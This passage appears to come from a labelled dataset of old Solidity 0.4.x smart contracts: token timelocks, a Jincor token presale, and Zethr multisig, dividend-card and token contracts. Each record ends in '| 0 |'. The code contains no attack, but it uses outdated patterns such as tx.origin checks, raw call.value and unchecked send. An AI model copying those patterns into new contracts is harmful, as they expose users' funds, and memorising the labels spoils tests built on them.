function closeCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
uint bensum = address(this).balance / 2;
BeneficiaryA.transfer(bensum);
BenefB.transfer(bensum);
token.mint(BeneficiaryA, token.cap().sub(token.totalSupply()));
token.transferOwnership(BeneficiaryA);
crowdsaleClosed = true;
emit CrowdsaleClose();
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29116800;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x033C0D18496fecEF676435C8Daf444DC93927253
;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xCEE47d1fb50ca9554cEFce8A922b4891Ec33fC24;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28857600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xcf9C0ecf3E205Ad603d98B490701a5be2CA04079;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted = false;
modifier inNormalState {
require(!halted);
_;
}
modifier inEmergencyState {
require(halted);
_;
}
function halt() external onlyOwner inNormalState {
halted = true;
}
function unhalt() external onlyOwner inEmergencyState {
halted = false;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Burnable is StandardToken {
using SafeMath for uint;
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Burn(_from, _value);
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
require(_to != 0x0);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
require(_to != 0x0);
return super.transferFrom(_from, _to, _value);
}
}
contract JincorToken is Burnable, Ownable {
string public name = "Jincor Token";
string public symbol = "JCR";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 35000000 * 1 ether;
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
require(transferAgents[_sender] || released);
_;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function JincorToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function release() onlyReleaseAgent inReleaseState(false) public {
released = true;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function burn(uint256 _value) onlyOwner returns (bool success) {
return super.burn(_value);
}
function burnFrom(address _from, uint256 _value) onlyOwner returns (bool success) {
return super.burnFrom(_from, _value);
}
}
contract JincorTokenPreSale is Ownable, Haltable {
using SafeMath for uint;
string public name = "Jincor Token PreSale";
JincorToken public token;
address public beneficiary;
uint public hardCap;
uint public softCap;
uint public price;
uint public purchaseLimit;
uint public collected = 0;
uint public tokensSold = 0;
uint public investorCount = 0;
uint public weiRefunded = 0;
uint public startBlock;
uint public endBlock;
bool public softCapReached = false;
bool public crowdsaleFinished = false;
mapping (address => bool) refunded;
event GoalReached(uint amountRaised);
event SoftCapReached(uint softCap);
event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Refunded(address indexed holder, uint256 amount);
modifier preSaleActive() {
require(block.number >= startBlock && block.number < endBlock);
_;
}
modifier preSaleEnded() {
require(block.number >= endBlock);
_;
}
function JincorTokenPreSale(
uint _hardCapUSD,
uint _softCapUSD,
address _token,
address _beneficiary,
uint _totalTokens,
uint _priceETH,
uint _purchaseLimitUSD,
uint _startBlock,
uint _endBlock
) {
hardCap = _hardCapUSD.mul(1 ether).div(_priceETH);
softCap = _softCapUSD.mul(1 ether).div(_priceETH);
price = _totalTokens.mul(1 ether).div(hardCap);
purchaseLimit = _purchaseLimitUSD.mul(1 ether).div(_priceETH).mul(price);
token = JincorToken(_token);
beneficiary = _beneficiary;
startBlock = _startBlock;
endBlock = _endBlock;
}
function() payable {
require(msg.value >= 0.1 * 1 ether);
doPurchase(msg.sender);
}
function refund() external preSaleEnded inNormalState {
require(softCapReached == false);
require(refunded[msg.sender] == false);
uint balance = token.balanceOf(msg.sender);
require(balance > 0);
uint refund = balance.div(price);
if (refund > this.balance) {
refund = this.balance;
}
assert(msg.sender.send(refund));
refunded[msg.sender] = true;
weiRefunded = weiRefunded.add(refund);
Refunded(msg.sender, refund);
}
function withdraw() onlyOwner {
require(softCapReached);
assert(beneficiary.send(collected));
token.transfer(beneficiary, token.balanceOf(this));
crowdsaleFinished = true;
}
function doPurchase(address _owner) private preSaleActive inNormalState {
require(!crowdsaleFinished);
require(collected.add(msg.value) <= hardCap);
if (!softCapReached && collected < softCap && collected.add(msg.value) >= softCap) {
softCapReached = true;
SoftCapReached(softCap);
}
uint tokens = msg.value * price;
require(token.balanceOf(msg.sender).add(tokens) <= purchaseLimit);
if (token.balanceOf(msg.sender) == 0) investorCount++;
collected = collected.add(msg.value);
token.transfer(msg.sender, tokens);
tokensSold = tokensSold.add(tokens);
NewContribution(_owner, tokens, msg.value);
if (collected == hardCap) {
GoalReached(hardCap);
}
}
} | 0 |
pragma solidity ^0.4.24;
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ZethrMultiSigWallet is ERC223Receiving {
using SafeMath for uint;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WhiteListAddition(address indexed contractAddress);
event WhiteListRemoval(address indexed contractAddress);
event RequirementChange(uint required);
event BankrollInvest(uint amountReceived);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
bool internal reEntered = false;
uint constant public MAX_OWNER_COUNT = 15;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
struct TKN {
address sender;
uint value;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier isAnOwner() {
address caller = msg.sender;
if (isOwner[caller])
_;
else
revert();
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
constructor (address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function()
public
payable
{
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
validRequirement(owners.length, required)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txToExecute = transactions[transactionId];
txToExecute.executed = true;
if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txToExecute.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
function tokenFallback(address , uint , bytes )
public
returns (bool)
{
return true;
}
}
contract ZethrTokenBankrollInterface is ERC223Receiving {
uint public jackpotBalance;
function getMaxProfit(address) public view returns (uint);
function gameTokenResolution(uint _toWinnerAmount, address _winnerAddress, uint _toJackpotAmount, address _jackpotAddress, uint _originalBetSize) external;
function payJackpotToWinner(address _winnerAddress, uint payoutDivisor) public;
}
contract ZethrBankrollControllerInterface is ERC223Receiving {
address public jackpotAddress;
ZethrTokenBankrollInterface[7] public tokenBankrolls;
ZethrMultiSigWallet public multiSigWallet;
mapping(address => bool) public validGameAddresses;
function gamePayoutResolver(address _resolver, uint _tokenAmount) public;
function isTokenBankroll(address _address) public view returns (bool);
function getTokenBankrollAddressFromTier(uint8 _tier) public view returns (address);
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ERC721Interface {
function approve(address _to, uint _tokenId) public;
function balanceOf(address _owner) public view returns (uint balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint _tokenId) public view returns (address addr);
function takeOwnership(uint _tokenId) public;
function totalSupply() public view returns (uint total);
function transferFrom(address _from, address _to, uint _tokenId) public;
function transfer(address _to, uint _tokenId) public;
event Transfer(address indexed from, address indexed to, uint tokenId);
event Approval(address indexed owner, address indexed approved, uint tokenId);
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ZethrDividendCards is ERC721Interface {
using SafeMath for uint;
event Birth(uint tokenId, string name, address owner);
event TokenSold(uint tokenId, uint oldPrice, uint newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint tokenId);
event BankrollDivCardProfit(uint bankrollProfit, uint percentIncrease, address oldOwner);
event BankrollProfitFailure(uint bankrollProfit, uint percentIncrease, address oldOwner);
event UserDivCardProfit(uint divCardProfit, uint percentIncrease, address oldOwner);
event DivCardProfitFailure(uint divCardProfit, uint percentIncrease, address oldOwner);
event masterCardProfit(uint toMaster, address _masterAddress, uint _divCardId);
event masterCardProfitFailure(uint toMaster, address _masterAddress, uint _divCardId);
event regularCardProfit(uint toRegular, address _regularAddress, uint _divCardId);
event regularCardProfitFailure(uint toRegular, address _regularAddress, uint _divCardId);
string public constant NAME = "ZethrDividendCard";
string public constant SYMBOL = "ZDC";
address public BANKROLL;
mapping (uint => address) public divCardIndexToOwner;
mapping (uint => uint) public divCardRateToIndex;
mapping (address => uint) private ownershipDivCardCount;
mapping (uint => address) public divCardIndexToApproved;
mapping (uint => uint) private divCardIndexToPrice;
mapping (address => bool) internal administrators;
address public creator;
bool public onSale;
struct Card {
string name;
uint percentIncrease;
}
Card[] private divCards;
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
constructor (address _bankroll) public {
creator = msg.sender;
BANKROLL = _bankroll;
createDivCard("2%", 1 ether, 2);
divCardRateToIndex[2] = 0;
createDivCard("5%", 1 ether, 5);
divCardRateToIndex[5] = 1;
createDivCard("10%", 1 ether, 10);
divCardRateToIndex[10] = 2;
createDivCard("15%", 1 ether, 15);
divCardRateToIndex[15] = 3;
createDivCard("20%", 1 ether, 20);
divCardRateToIndex[20] = 4;
createDivCard("25%", 1 ether, 25);
divCardRateToIndex[25] = 5;
createDivCard("33%", 1 ether, 33);
divCardRateToIndex[33] = 6;
createDivCard("MASTER", 5 ether, 10);
divCardRateToIndex[999] = 7;
onSale = true;
administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true;
administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true;
administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true;
administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true;
administrators[msg.sender] = true;
}
modifier isNotContract()
{
require (msg.sender == tx.origin);
_;
}
modifier hasStarted()
{
require (onSale == true);
_;
}
modifier isAdmin()
{
require(administrators[msg.sender]);
_;
}
function setBankroll(address where)
public
isAdmin
{
BANKROLL = where;
}
function approve(address _to, uint _tokenId)
public
isNotContract
{
require(_owns(msg.sender, _tokenId));
divCardIndexToApproved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner)
public
view
returns (uint balance)
{
return ownershipDivCardCount[_owner];
}
function createDivCard(string _name, uint _price, uint _percentIncrease)
public
onlyCreator
{
_createDivCard(_name, BANKROLL, _price, _percentIncrease);
}
function startCardSale()
public
isAdmin
{
onSale = true;
}
function getDivCard(uint _divCardId)
public
view
returns (string divCardName, uint sellingPrice, address owner)
{
Card storage divCard = divCards[_divCardId];
divCardName = divCard.name;
sellingPrice = divCardIndexToPrice[_divCardId];
owner = divCardIndexToOwner[_divCardId];
}
function implementsERC721()
public
pure
returns (bool)
{
return true;
}
function name()
public
pure
returns (string)
{
return NAME;
}
function ownerOf(uint _divCardId)
public
view
returns (address owner)
{
owner = divCardIndexToOwner[_divCardId];
require(owner != address(0));
return owner;
}
function purchase(uint _divCardId)
public
payable
hasStarted
isNotContract
{
address oldOwner = divCardIndexToOwner[_divCardId];
address newOwner = msg.sender;
uint currentPrice = divCardIndexToPrice[_divCardId];
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= currentPrice);
uint percentIncrease = divCards[_divCardId].percentIncrease;
uint previousPrice = SafeMath.mul(currentPrice, 100).div(100 + percentIncrease);
uint totalProfit = SafeMath.sub(currentPrice, previousPrice);
uint oldOwnerProfit = SafeMath.div(totalProfit, 2);
uint bankrollProfit = SafeMath.sub(totalProfit, oldOwnerProfit);
oldOwnerProfit = SafeMath.add(oldOwnerProfit, previousPrice);
uint purchaseExcess = SafeMath.sub(msg.value, currentPrice);
divCardIndexToPrice[_divCardId] = SafeMath.div(SafeMath.mul(currentPrice, (100 + percentIncrease)), 100);
_transfer(oldOwner, newOwner, _divCardId);
if(BANKROLL.send(bankrollProfit)) {
emit BankrollDivCardProfit(bankrollProfit, percentIncrease, oldOwner);
} else {
emit BankrollProfitFailure(bankrollProfit, percentIncrease, oldOwner);
}
if(oldOwner.send(oldOwnerProfit)) {
emit UserDivCardProfit(oldOwnerProfit, percentIncrease, oldOwner);
} else {
emit DivCardProfitFailure(oldOwnerProfit, percentIncrease, oldOwner);
}
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint _divCardId)
public
view
returns (uint price)
{
return divCardIndexToPrice[_divCardId];
}
function setCreator(address _creator)
public
onlyCreator
{
require(_creator != address(0));
creator = _creator;
}
function symbol()
public
pure
returns (string)
{
return SYMBOL;
}
function takeOwnership(uint _divCardId)
public
isNotContract
{
address newOwner = msg.sender;
address oldOwner = divCardIndexToOwner[_divCardId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _divCardId));
_transfer(oldOwner, newOwner, _divCardId);
}
function totalSupply()
public
view
returns (uint total)
{
return divCards.length;
}
function transfer(address _to, uint _divCardId)
public
isNotContract
{
require(_owns(msg.sender, _divCardId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _divCardId);
}
function transferFrom(address _from, address _to, uint _divCardId)
public
isNotContract
{
require(_owns(_from, _divCardId));
require(_approved(_to, _divCardId));
require(_addressNotNull(_to));
_transfer(_from, _to, _divCardId);
}
function receiveDividends(uint _divCardRate)
public
payable
{
uint _divCardId = divCardRateToIndex[_divCardRate];
address _regularAddress = divCardIndexToOwner[_divCardId];
address _masterAddress = divCardIndexToOwner[7];
uint toMaster = msg.value.div(2);
uint toRegular = msg.value.sub(toMaster);
if(_masterAddress.send(toMaster)){
emit masterCardProfit(toMaster, _masterAddress, _divCardId);
} else {
emit masterCardProfitFailure(toMaster, _masterAddress, _divCardId);
}
if(_regularAddress.send(toRegular)) {
emit regularCardProfit(toRegular, _regularAddress, _divCardId);
} else {
emit regularCardProfitFailure(toRegular, _regularAddress, _divCardId);
}
}
function _addressNotNull(address _to)
private
pure
returns (bool)
{
return _to != address(0);
}
function _approved(address _to, uint _divCardId)
private
view
returns (bool)
{
return divCardIndexToApproved[_divCardId] == _to;
}
function _createDivCard(string _name, address _owner, uint _price, uint _percentIncrease)
private
{
Card memory _divcard = Card({
name: _name,
percentIncrease: _percentIncrease
});
uint newCardId = divCards.push(_divcard) - 1;
require(newCardId == uint(uint32(newCardId)));
emit Birth(newCardId, _name, _owner);
divCardIndexToPrice[newCardId] = _price;
_transfer(BANKROLL, _owner, newCardId);
}
function _owns(address claimant, uint _divCardId)
private
view
returns (bool)
{
return claimant == divCardIndexToOwner[_divCardId];
}
function _transfer(address _from, address _to, uint _divCardId)
private
{
ownershipDivCardCount[_to]++;
divCardIndexToOwner[_divCardId] = _to;
if (_from != address(0)) {
ownershipDivCardCount[_from]--;
delete divCardIndexToApproved[_divCardId];
}
emit Transfer(_from, _to, _divCardId);
}
}
contract Zethr {
using SafeMath for uint;
modifier onlyHolders() {
require(myFrontEndTokens() > 0);
_;
}
modifier dividendHolder() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy
);
event UserDividendRate(
address user,
uint divRate
);
event onTokenSell(
address indexed customerAddress,
uint tokensBurned,
uint ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint ethereumReinvested,
uint tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint tokens
);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint tokens
);
event Allocation(
uint toBankRoll,
uint toReferrer,
uint toTokenHolders,
uint toDivCardHolders,
uint forTokens
);
event Referral(
address referrer,
uint amountReceived
);
uint8 constant public decimals = 18;
uint constant internal tokenPriceInitial_ = 0.000653 ether;
uint constant internal magnitude = 2 ** 64;
uint constant internal icoHardCap = 250 ether;
uint constant internal addressICOLimit = 1 ether;
uint constant internal icoMinBuyIn = 0.1 finney;
uint constant internal icoMaxGasPrice = 50000000000 wei;
uint constant internal MULTIPLIER = 9615;
uint constant internal MIN_ETH_BUYIN = 0.0001 ether;
uint constant internal MIN_TOKEN_SELL_AMOUNT = 0.0001 ether;
uint constant internal MIN_TOKEN_TRANSFER = 1e10;
uint constant internal referrer_percentage = 25;
uint public stakingRequirement = 100e18;
string public name = "Zethr";
string public symbol = "ZTH";
bytes32 constant public icoHashedPass = bytes32(0x8a6ddee3fb2508ff4a5b02b48e9bc4566d0f3e11f306b0f75341bf235662a9e3);
address internal bankrollAddress;
ZethrDividendCards divCardContract;
mapping(address => uint) internal frontTokenBalanceLedger_;
mapping(address => uint) internal dividendTokenBalanceLedger_;
mapping(address =>
mapping(address => uint))
public allowed;
mapping(uint8 => bool) internal validDividendRates_;
mapping(address => bool) internal userSelectedRate;
mapping(address => uint8) internal userDividendRate;
mapping(address => uint) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
